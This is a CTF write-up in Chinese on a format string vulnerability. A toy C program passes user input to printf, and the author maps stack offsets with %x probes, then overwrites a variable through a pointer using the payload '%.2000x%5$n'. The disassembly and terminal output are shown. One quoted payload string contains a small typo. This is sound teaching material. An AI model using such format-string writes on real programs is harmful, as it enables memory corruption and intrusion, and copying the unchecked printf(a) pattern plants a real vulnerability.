某道Pwn(格式化字符串漏洞)
格式化字符串漏洞近几年出现频率少了,但是一些 CTF 中还有涉及,就当玩玩好了。
首先看这一段代码,什么比赛的题我忘了:
#include <stdio.h>
int main(void)
{
int flag = 0;
int *p = &flag;
char a[100];
scanf("%s",a);
printf(a);
if(flag == 2000)
{
printf("good!!\n");
}
return 0;
}
目标是拿到Flag。我们使用GCC编译之后用ObjDump反编译:
8048507: c7 45 88 00 00 00 00 movl $0x0,-0x78(%ebp) ;flag
804850e: 8d 45 88 lea -0x78(%ebp),%eax
8048511: 89 45 8c mov %eax,-0x74(%ebp) ;p
8048514: 83 ec 08 sub $0x8,%esp
8048517: 8d 45 90 lea -0x70(%ebp),%eax ;a
804851a: 50 push %eax
804851b: 68 f0 85 04 08 push $0x80485f0
8048520: e8 bb fe ff ff call 80483e0 <__isoc99_scanf@plt>
8048525: 83 c4 10 add $0x10,%esp
我们可以看到p
在flag
下面四个偏移,a
又在p
下面四个偏移,用缓冲区溢出是不可能了。下面有个printf
,也许可以利用字符串格式化漏洞。
继续往下看汇编:
8048528: 83 ec 0c sub $0xc,%esp
804852b: 8d 45 90 lea -0x70(%ebp),%eax
804852e: 50 push %eax
804852f: e8 5c fe ff ff call 8048390 <printf@plt>
8048534: 83 c4 10 add $0x10,%esp
我们可以看到printf
总共接受了 4 个参数,实际上只有一个有效参数。
我们可以使用AAAA%x
来寻找a
的偏移:
wizard@ubuntu:~/Desktop$ ./t2
AAAA%x
AAAAffee9b78wizard@ubuntu:~/Desktop$ ./t2
AAAA%2$x
AAAAf767e329wizard@ubuntu:~/Desktop$ ./t2
AAAA%4$x
AAAA0wizard@ubuntu:~/Desktop$ ./t2
AAAA%5$x
AAAAfff44cd0wizard@ubuntu:~/Desktop$
AAAA%6$x
AAAA41414141
我们看到了一个 0 ,又看到了一个很像地址的东西。然后就是我们输入的AAAA
。我们于是可以断定,第四个%x
是flag
,第五个%x
是p
,第六个%x
是a
的起始位置。
再试一下,发现栈基址是变化的:
wizard@ubuntu:~/Desktop$ ./t2
AAAA%5$x
AAAAffad7a70
也就是说,我们不能把f
的地址写进a
的前四个字节,但是我们可以利用p
。构造字符串"%.2000%x%5$n"
:
ffe43b880wizard@ubuntu:~/Desktop$ ./t2
%.2000x%5$n
...
0000000000000000000000000000000000000ffce9f98good!!
成功。